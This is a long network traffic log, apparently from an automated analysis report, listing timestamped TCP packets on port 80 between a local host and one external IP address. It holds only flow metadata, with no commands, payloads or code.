Apr 20, 2024 10:23:56.689621925 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689630985 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689647913 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689672947 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689682007 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689698935 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689724922 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689733028 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689753056 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689784050 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689786911 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689810991 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689836979 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689846039 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689858913 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689873934 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689891100 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689897060 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689908028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689924955 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689940929 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689940929 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689958096 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689960003 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689975023 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689990997 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689991951 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690007925 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690025091 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690027952 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690042019 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690058947 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690063000 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690078020 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690095901 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690100908 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690112114 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690129995 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690131903 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690146923 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690165997 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690166950 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690182924 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690197945 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690215111 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690229893 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690244913 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690247059 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690264940 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690264940 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690275908 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690282106 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690298080 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690310001 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690315008 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690331936 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690340996 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690350056 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690366983 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690385103 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690396070 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690401077 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690412045 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690418005 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690435886 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690452099 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690454960 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690468073 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690475941 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690485001 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690501928 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690509081 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690517902 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690537930 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690545082 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690546036 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690555096 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690572023 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690588951 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690594912 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690608025 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690614939 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690627098 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690644026 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690660954 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690668106 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690673113 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690680981 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690681934 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690697908 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690713882 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690718889 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690737963 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690743923 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690756083 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690772057 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690778971 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690794945 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690800905 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690813065 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690829039 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690834045 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690855026 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690865040 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690876007 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690891027 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690906048 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690908909 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690929890 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690947056 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690953970 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690964937 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690980911 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.690984964 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.690999031 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691015005 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691019058 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691031933 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691041946 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691056013 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691071987 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691076040 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691088915 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691106081 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691109896 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691127062 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691143990 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691159964 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691164017 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691176891 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691179991 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691190004 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691205978 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691211939 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691225052 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691236019 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691251040 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691260099 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691277027 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691279888 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691296101 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691308022 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691313982 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691330910 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691346884 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691350937 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691365957 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691378117 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691382885 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691400051 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691407919 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691417933 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691435099 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691438913 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691453934 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691471100 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691478014 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691488028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691504955 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691508055 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691523075 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691539049 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691540003 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691557884 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691580057 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691582918 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691597939 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691615105 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691616058 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691632032 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691648960 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691651106 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691668034 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691684008 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691684008 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691704988 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691720963 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691723108 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691741943 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691757917 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691759109 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691775084 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691790104 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691792011 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691809893 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691826105 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691826105 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691844940 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691859007 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691862106 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691879988 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691898108 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691900015 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691915989 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691931963 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691932917 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691951036 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691966057 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.691970110 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.691987991 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692004919 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692004919 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692035913 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692051888 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692055941 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692071915 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692087889 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692090988 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692122936 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692140102 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692148924 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692157984 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692173958 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692181110 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692192078 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692208052 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692219019 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692225933 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692243099 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692250013 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692260981 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692276955 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692282915 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692293882 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692311049 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692317963 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692329884 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692347050 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692362070 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692363024 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692380905 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692390919 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692399025 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692415953 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692420006 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692435026 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692452908 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692457914 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692471027 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692487001 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692495108 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692503929 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692519903 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692528009 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.692537069 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.692559958 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.742089033 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.927278996 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927346945 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927386999 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927426100 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927449942 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.927463055 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927464962 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.927501917 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927539110 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927548885 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.927577019 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927617073 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927619934 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.927659035 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927695036 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927700043 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.927732944 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927773952 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927788973 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.927810907 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927846909 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927860022 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.927882910 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927920103 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927926064 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.927957058 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927994967 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.927998066 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928033113 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928075075 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928077936 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928147078 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928188086 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928195953 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928225994 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928262949 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928267002 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928299904 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928335905 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928339958 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928373098 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928409100 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928411961 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928446054 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928483009 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928487062 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928519011 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928556919 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928556919 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928595066 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928633928 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928633928 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928673029 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928709030 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928713083 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928745985 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928783894 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928785086 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928821087 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928858042 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928862095 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928894997 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928930044 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.928936005 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.928966999 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929002047 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929003954 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.929039955 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929075956 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929076910 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.929117918 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929157972 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929162025 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.929194927 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929231882 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929235935 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.929270029 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929306984 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929310083 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.929343939 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929379940 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929383039 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.929418087 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929455042 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.929457903 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.929491043 CEST	80	49720	5.34.182.232	192.168.2.5
